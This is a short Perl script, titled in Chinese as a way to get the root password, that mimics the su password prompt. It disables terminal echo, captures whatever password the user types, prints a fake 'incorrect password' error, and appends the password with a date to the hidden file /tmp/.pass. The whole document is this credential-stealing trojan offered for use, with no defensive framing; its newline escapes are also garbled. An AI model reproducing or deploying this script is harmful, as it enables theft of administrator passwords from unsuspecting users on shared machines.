perl获取root密码

#!/usr/bin/perl
# Written by xi4oyu .
print "Password: ";
`stty -echo`;
$s1=<STDIN>;
print "n";
`stty echo`;
sleep 3;
print "su: incorrect passwordn";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);